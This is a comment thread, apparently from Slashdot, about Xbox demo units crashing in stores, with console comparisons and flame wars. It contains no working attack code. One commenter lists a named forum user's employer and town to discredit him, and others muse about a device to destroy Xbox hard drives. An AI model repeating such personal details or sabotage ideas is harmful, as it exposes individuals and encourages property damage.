Sony understands consumer electronics -- in fact, it's practically the only thing they understand. (Does anybody remember the Sony Unix workstation?) Microsoft understands how to market software. I would not go to a cosmetic surgeon for heart surgery; likewise I won't go to Microsoft for a game console.
I wonder if a person could build a 'portable xbox crasher' that would kill the HD on the xbox. Sort of a little meme re-enforcment, a not-so-subtle marketplace-influencing...
HMmmmmmmmmmmmmmmmm i wonder if you could make a device, when turned on will kill the bastards in the box... imagine, hole legions of Xbox owners pissed b/c M$ XBox was DoA.
Hmmmmmmmmmmmm
Try _MOST_ of Intel's chips. The Pentium floating point division bug and the F0 0F bug are just the most widely known.
Or did the 1980s pass you by? (MSX, MSX2)
Or was that a very clever troll? If so, it caught a few people!
or did you miss MSX2? In which case your point is made even stronger...
Yes, a sequel to the game with the infamous "bouncing breasts option" has racy graphics. What a news flash.
If they are running pre-release (beta) versions of the software for demo purposes there may also be some lock ups. I develop games for consoles and believe me it is possible to lock them up with buggy code. While anything that is a full released package (software), has undergone some pretty thorough testing by the console manufacturer before the manufacturer (sony, nintendo) will put their name on it and let it ship. So if the software on the xbox is beta it may be at fault as well as anything.
All your devKits are blong to US!
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and it blue screened on him? LOL this reminds me of that. hehe... xbox.
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It even took the Gates family three tries:
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I have to tell you all, I was playing this and thank God it crashed... I don't know if you all know about this new ActiveDeath technology.
Also don't forget that you can preorder units now
hmm... for fun I enjoy launching DDoS attacks against 127.87.42.5
There's an "option" switch for bouncy breasts? Can you set the size as well? Forgive me, I haven't played any of the series... just saw the buck-naked toon in the intro movie and thought it might be of interest to all of the graphics kiddies.
'He was a dreamer, a thinker, a speculative philosopher... or, as his wife would have it, an idiot.' - Douglas Adams
in DOA2 for dreamcast, one of the options is age. It goes from 13 to 99. The higher you set your age, the bouncier the boobs are.
I love that game.
The guy that was quoted with that information was a Nintendo fanboy, thats what makes me so mad.
Here is his information:
Lord Federman (gaming-age forums)
Works at Target (yeah really credible there)
Lives in Germantown, MD.
He is an anti-Microsoft biggot like a lot of you, so this is completely crap.
Just shows you how poor the Internet is when it comes to journalism. Let someone who is a fanboy of another console post news about some other console and its on slashdot.
Its only on slashdot because its anti-microsoft. Pathetic and a load of crap... worst thing on slashdot in a long time. DO YOUR FREAKING RESEARCH before you post stories like this!!!!!!!!!!!!!!!!!
Personally, if I was Microsoft, I would be looking into lawsuits right now....
Either research your information or get sued, its your choice!
No I don't have an account on slashdot
Microsoft on ignore.
But the interesting thing was a severe grinding noise that was definately coming out of the Xbox. The kiosk had Xbox, PS2 and I believe n64 (which i'm sure will be replaced with the game cube at some point) and the grinding noise was DEFINATELY coming out of the Xbox. Did anybody else experience this? I'm not sure if it was the disc spinning or harddrive noises. And I think the controller sucked. I'll stick to my less obtrusive, less buttoned PS2 controller.
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This is an error presented by the XDK Launcher (dev kit).
I remember the first John Madden on Genesis. When your opponent was going to kick a field goal, you could keep going offsides for a couple of minutes, and then his kicker would always miss... But sometimes the game would crash instead! :)
Maybe M$ should put extra large fans on the demo units. You can still cool with hot air, you just need more of it
So, what happens when like 40% of these boxes get put down on to thick carpet and left turned on for days on end? Lemme guess... add-on fans? recall? No. I'll bet that they'll offer competetive trade-ins on Microsoft XboX XP release2.
(reminds me of that movie with Chevy Chase where they are selling super-duper spy planes that can do everything except when they get wet, they go haywire... someone shouts out, "have you ever heard of RAIN?!?"
well, i'd bet more on the 5-month old version of oddworld they were running as demos .. plus the older hardware.
.. but they're also not meant to be used for such long periods of time (granted, it should be expected in quality testing, but still) in such a small enclosure.
yes they run rather warm, etc
plenty of games have locked up before, and on other systems as well... but of course, since its slashdot, we should focus on microsoft and the evil from redmond.
no i'm not a microsoft supporter, yes i've played the console before, no it's not crashed on me.
wanna look at buggy, play anything by 3do.
They seem to largely take a beating and keep on ticking. When the PS2 pre-rollout occured, they had nearly all the kiosks working with no hitches. What's going on with the XBox is not going to fly with most of the market- no matter what people think otherwise.
I am not merely a "consumer" or a "taxpayer". I am a Citizen of the State of Texas
You can see it running MAME here, btw....
http://www.otakunozoku.com/xbox/index.html
Yes, but the units have been produced and shipped at this point, so there is no chance to fix any problems now. Unless they do some massive recall/crosship type deal... (doubtfull). Face it... you'll be receiving your regular X-Box service packs, just like any other Microsoft Product.
"The Making of the Xbox"
The Xbox is here. Manufacturing is history.
It's really about contract electronics manufacturers. Flextronics picked up the contract to make the boxes, and has supposedly built more capacity to handle the expected demand.
Display some adaptability.
Actually, even before System 7, expandable Macs (The Mac II series) were shipping. If my memory serves me, the Mac II and IIx had 7 NuBus (developed by TI) slots, while the smaller Mac IIci and IIcx had 4 NuBus slots. The cases were very easy to open, though not as elegant as a G4 or G3 case. True, there were the SEs amd Classics, that were difficult to open, but your statement that "The Macintosh of that era was specifically designed to be impossible for the average person to open" is just plain wrong.
There ain't no rules here; we're trying to accomplish something.
I actually saw an Xbox working here in Lincoln, NE in Software Etc. Overall, I was not impressed. Since there was nothing playable, I decided to watch a trailer for Bungie's Halo. I was surprised to find out how shitty it looked. But then I sucked my eyes out of the screen, and oh looky, That's a TV, not a computer monitor!
The moral is, computer games are not meant for the TV. Halo would look awesome on a computer monitor.
And anyway, I'd like to see what those guys at Nintendo are doing. Last I heard, the gamecube was easier and faster to program for as well as more optimized. No matter how fast the Xbox is on paper, that doesn't mean jack shit if those programmers can't make it optimized.
Beyond specs, Nintendo has several good games for it. Heh...just a cool thought, imagine Mario coming out saying "GIVE IT UP FOR-A MEEEEEEE!!!!" while ripping his shirt off exposing his winter coat of chest hair. ANYWAY, Nintendo has a reputation for good games and good consoles. I doubt that Microsoft can produce a superior product.
I wonder how many of you insipid zealots were hanging out in your local electronics stores just WAITING to see a crash so you could run back to your computers and post "M$ SUXX0RZ! M$ SUXX0RZ! I saw the XBox crash and Bill Gates is dumb, yay for Linux!"
I don't even bother reading any stories about Microsoft here anymore, because I know from the start that it's going to be nothing but largely baseless jabs at a legitimate corporation trying to make money. I got duped into reading this one because it was categorized with "Games."
The slashdot community is so full of you mindless, unthinking morons it makes me sick. I hate you all.
So, please tell me:
Why has my Playstation2 never crashed?
it seems everytime microsoft puts something out, the first several versions of it are horrible. then they work like crazy to improve it until eventually it is sometimes superior to whatever else is competing with it. internet explorer is a good example; started out as a fringe product, now it has great standards compliance. etc etc etc
Rightly or wrongly, the general public associates crashing with Windows. Any above average occurance of crashes will doom this product, and be a black eye for Microsoft
I'm not so sure. The general public associates crashing with computers more than they associate it with Windows (they regard computer crashes as "just how computers are"). Thanks to Win9X, the general public has never had an expectation of computers running 24/7 anyway, and I think most people will quickly mentally adjust to accepting XBox crashes as "normal", even if they did not think of game consoles as being unstable before. At most LANs I've been to I've seen many people resetting their frozen Windows boxes, and nobody even bats an eyelid, its such a "normal", accepted part of using Windows; people have been conditioned to accept defective products as normal, and this sort of conditioning happens extremely quickly. You'll probably see some bitching in the media for a month (or two at most) while people are still a bit peeved, but after that people will have gotten used to the idea and will have accepted the fact that they can do nothing about it anyway.
Windows 3.1, 95, 98 and Me, as defective products, have been an incredibly huge "black eye" for Microsoft over the past decade, yet millions of people blithely accept it and buy it anyway. Its taken MS almost ten years to even bother to try to start producing a somewhat more stable consumer OS - they very obviously have NO sense of urgency in pushing a stable, reliable product out the door. I don't see MS giving a shit about it if the XBox is as unstable as Win9X.
Still, if the problem isn't the heat, then it shouldn't be too difficult for them to locate the problems and fix them in future XBox releases, and we can possibly expect them to even actually fix the problems during the first year (might be driver issues or hardware issues). People generally have very short memories, and if future releases are a lot more stable, then XBox will be a big success anyway, 99% of people will completely forget that the 1st generation was unstable, the other 1% will reminisce about it on online forums such as /.
PS2 is crap, it has no Hard Drive and the technology is different. The kiosks are poorly designed, thats a given. Who keeps their console at home locked in a box?
and if your dumb enough to actually *buy* first generation technology , then you deserve all you get, because throughout history time has proven that first generation (IE first "public" build) of just about any hardware / software ever made, has bugs, simple.
people create software / hardware, people make mistakes, get over it.
So? Doesn't anyone remember what Nintendo did back in the day? Make games for the NES ONLY or don't make any games for us at all. Microsoft may have a bad reputation for crappy software, and being looked down upon for busines practices, but they had to get to the top to be able to stay at the top. But they're hardware devices like the MS mouse and keyboard and gamepads have IMO been top notch as far as quality goes. And the previous poster was right, Sony no angel either. I have an idea, just buy stuff that you like!! I hate Playstation 2, but if sony comes out with something that blows my socks off, i'm going for them because i want too, not because of thier reputation.
Oh, you mean Dead On Arrival 3? Yeah, that would be X-Box only.
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O Moo.
Time for an update to the BSOD screensaver. We need that Green Screen of Death, especially if it does a GL floating thing.
I'am no longer an atheist :)
I remember waiting in line 2 hours to get my hands on the Dreamcast I had reserved months prior. I brought it home, hooked it up, and it couldn't read a damned thing. Not the games I purchased, no CDs, nothing. It made a bizarre noise, entered the menu, and that was about it. I returned it that very night, among the many people still in line who looked at me funny. I then went home with a new Dreamcast console, Sonic Adventure, and Blue Stinger. Well, now CDs would play, Sonic Adventure would occaisionally load, and Blue Stinger was as good as dead. So, I return everything the next day, and hear about the Dreamcast game manufacturing issues. Electronic Boutique had resorted to opening every game mentioned to possible fail and testing it prior to purchase. I got a new Sonic Adventure, and HydroThunder (none of the Blue Stingers worked, period,) and I finally had a new console system.
IIRC it's a MIPS chip in the PS2, hence Debians interest in keeping a MIPS branch running.
'There is a Light that never goes out.'
hack it and make it a stable Linux web server.
... this hardware isn't doing half the work of today's operating systems.
:)
After 20 years of development in the videogame era, we shouldn't be forced to put up with videogame crashes in videogame consoles
It seems like the most stable console was probably halfway in the era between hand-coding assembly in small cartridges, && today's CD releases made with bloated compilers. If Xbox is as heat-generating and stable as my 8-bit Nintendo, I don't want to run any games on it; I'll just buy the PC version of the games so they crash where they're supposed to: Windows
Pardon my ranty mood, I despise seeing NON-desktops crash because we can't troubleshoot them and they don't get fixed.
"Wireless : LAN
Great link, asshole. Opened 50 billion popunders.
Oh, and nice with the ipod. "Lame" and you didn't even read the specs.
What a bunch of self-worshipping lusers. "we're slashdot, we rule"
Time to find a new news source that doesn't have annoying "toolbars" up top.
But it did!.. :) .. Read again.. I had one of these(SVI-728) and even one of the predesessors: SVI-328 wich was almost MSX. They were very nice and expandible machines for their times. Only thing that buged me was the 8-pixels at a time scroll that Konami always used... gaaaaaahhhhh!!!....
To continue the previous guys rant: MSX was actually kindof an open standard. There were specifications which several electronic manifacturers had agreed on and they could build their own computers with aditional memory, bells and whisles as long as they complied to the standard. MS wasn't that big at that time so they played nice in the small-middle league. But that's history. The standard was developed because all the different home computer systems that were evolving were uncompatible and it wasn't cost effective to make games and port them around. I smell some Java thinking there..... but then again it may be just me... :)
For more info: www.msx.org
Cheers...
$HOME is where the
-- silver_p
But continuing...I think you are thinking more of 1.0's of software...sure they crash. A lot of times, companies just use the public as a testing pool for early releases. But not hardware...you can rewrite software, but if you sell someone a boat anchor for $400, they get mad.
I think we should just run *nix on it.
Who is this Anonymous Coward character, how does he post so much, and why is he always such a whore?
Microsoft is using a market penetration strategy. They are selling the XBox for less than component cost, and expecting to make profits later on game licences.
The obvious response is for all of us to go out and buy lots of Xboxen, strip them, and sell the parts at a profit (prefferably to Microsoft). Repeat.
- - You can't take something off the Internet! That's like trying to take pee out of a swimming pool.
Obviously MS has historically had the knack of coming late to a market with an inferior product and sweeping all aside but I really think they're going to fail to dominate the console market.
Consider this:
- Console gamers are (generally) a breed apart from PC gamers
- Brand identity is v. important in the console world. MS doesn't have an image there yet apart from perhaps being perceived as a bunch of old farts from the PC world.
- PC games != console games. The fundamental design ethos behind console games is for the most part totally different to PC games which tend to appeal to the more anal amongst us (and I say that as a PC gamer before anyone reaches for their flamethrower).
- If you want to play PC games you buy a PC, right? 12 months from now the bleeding edge gaming hardware for PCs will blow the XBox's frozen-in-time stuff away
Does any of that sound like a recipe for success? Not to me.....
Just because MS is infatuated with the PC paradigm (ouch! shoot me!) doesn't mean end users are. E.g. Sure, iPAQs are getting more popular but who still dominates the PDA market? Palm. We all know the reasons why but MS *can't* seem to see beyond their noses.
Mind you, I couldn't really give a rat's ass who wins the console war. It kinda reminds me of a bunch of school kids playing rock-paper-scissors.
'nuff said.
-Nano.
Those who fail to learn from history are doomed to re-implement it.
A bit like Linux, then...
I see you're posting to Slashdot again.
Why did you ditch your old account? Is it because you got trolled to hell and back and your karma got seriously butt-raped?
Railroad Tycoon II on Dreamcast locks up totally and reliably once your railroad empire gets large enough. I believe it's a WinCE based game.
In a few months, they'll release a 120MB "patch" that you can download that will disable games on your computer Misro$soft feels are insecure. Oh, it'll be $125, too.
today is spelling optional day.
it's reassuring to know that there's more to consoles than raw muscle.
...that it's the hottest console around! =)
The AMD chip in the X-box is in fact a RISC core, with a translation unit stuck to the front.
Uh, where have you been? MS dumped AMD and went with Intel (pentium iii) and made the announcement months ago before production ever started. Intel designed the motherboard too.
I effectively have the same system (bonus - lots more ram) under my desk, and starting to get the upgrade bug again. I'll stick with a game console I know was designed only to be a games console - GCN
Speaking of X-crashes...
How bout we all buy X-Boxes and rip them apart to build cheap P-3 Nvidia computers.
Well, it's kinda possible. It's normally called "renting" though :)
Assuming you have a patent license on the hardware, you could slap an EULA on that. That's no good when the patent expires though, which is a lot sooner than copyright expires. You could prolly put an EULA on the console's operating system, I guess. Ick.
my old sig used to be funny, but then slashcode ate it and now it's not funny anymore
In the ad for the x-box up here in Canada, it says that the x-box has a 90 day warranty, which can be extended to 1 year (sold & serviced by the store) for $49 Canadian. 90 days seems short to me. All the computer parts I buy are 1 year or more and I have returned 3 CD-ROM's in the last few years that initially worked, then died.
The Microsoft SF store closes Thursday. Reportedly Sony doesn't want them in their Metreon building when the X-Box launches, competing with the PlayStation Store.
I have played golf.. didn't like it.. don't play anymore...
It was never a hobby to me.
I don't actually exist.